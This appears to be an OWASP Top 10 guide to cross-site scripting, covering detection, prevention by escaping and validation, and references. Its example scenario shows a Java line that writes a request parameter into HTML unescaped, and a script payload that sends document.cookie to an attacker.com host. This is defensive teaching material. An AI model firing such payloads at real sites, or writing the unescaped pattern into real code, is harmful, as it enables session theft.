



Am I Vulnerable to XSS?

You need to ensure that all user supplied input sent back to the browser is verified to be safe (via input validation), and that user input is properly escaped before it is included in the output page. Proper output encoding ensures that such input is always treated as text in the browser, rather than active content that might get executed.

Both static and dynamic tools can find some XSS problems automatically. However, each application builds output pages differently and uses different browser side interpreters such as JavaScript, ActiveX, Flash, and Silverlight, which makes automated detection difficult. Therefore, complete coverage requires a combination of manual code review and manual penetration testing, in addition to any automated approaches in use.

Web 2.0 technologies, such as AJAX, make XSS much more difficult to detect via automated tools.

How Do I Prevent XSS?

Preventing XSS requires keeping untrusted data separate from active browser content.

1. The preferred option is to properly escape all untrusted data based on the HTML context (body, attribute, JavaScript, CSS, or URL) that the data will be placed into. Developers need to include this escaping in their applications unless their UI framework does this for them. See the [OWASP XSS Prevention Cheat Sheet](#) for more information about data escaping techniques.
2. Positive or "whitelist" input validation is also recommended as it helps protect against XSS, but is not a complete defense as many applications must accept special characters. Such validation should decode any encoded input, and then validate the length, characters, and format on that data before accepting the input.
3. Consider employing Mozilla's new [Content Security Policy](#) that is coming out in Firefox 4 to defend against XSS.

Example Attack Scenario

The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:

```
(String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";
```

The attacker modifies the 'CC' parameter in their browser to:

```
'><script>document.location=
'http://www.attacker.com/cgi-bin/cookie.cgi?
foo='+document.cookie</script>'
```

This causes the victim's session ID to be sent to the attacker's website, allowing the attacker to hijack the user's current session.

Note that attackers can also use XSS to defeat any automated CSRF defense the application might employ. See A5 for info on CSRF.

References

OWASP

- [OWASP XSS Prevention Cheat Sheet](#)
- [OWASP Cross-Site Scripting Article](#)
- [ESAPI Encoder API](#)
- [ASVS: Output Encoding/Escaping Requirements \(V6\)](#)
- [ASVS: Input Validation Requirements \(V5\)](#)
- [Testing Guide: 1st 3 Chapters on Data Validation Testing](#)
- [OWASP Code Review Guide: Chapter on XSS Review](#)

External

- [CWE Entry 79 on Cross-Site Scripting](#)
- [RSnake's XSS Attack Cheat Sheet](#)
- [Firefox 4's Anti-XSS Content Security Policy Mechanism](#)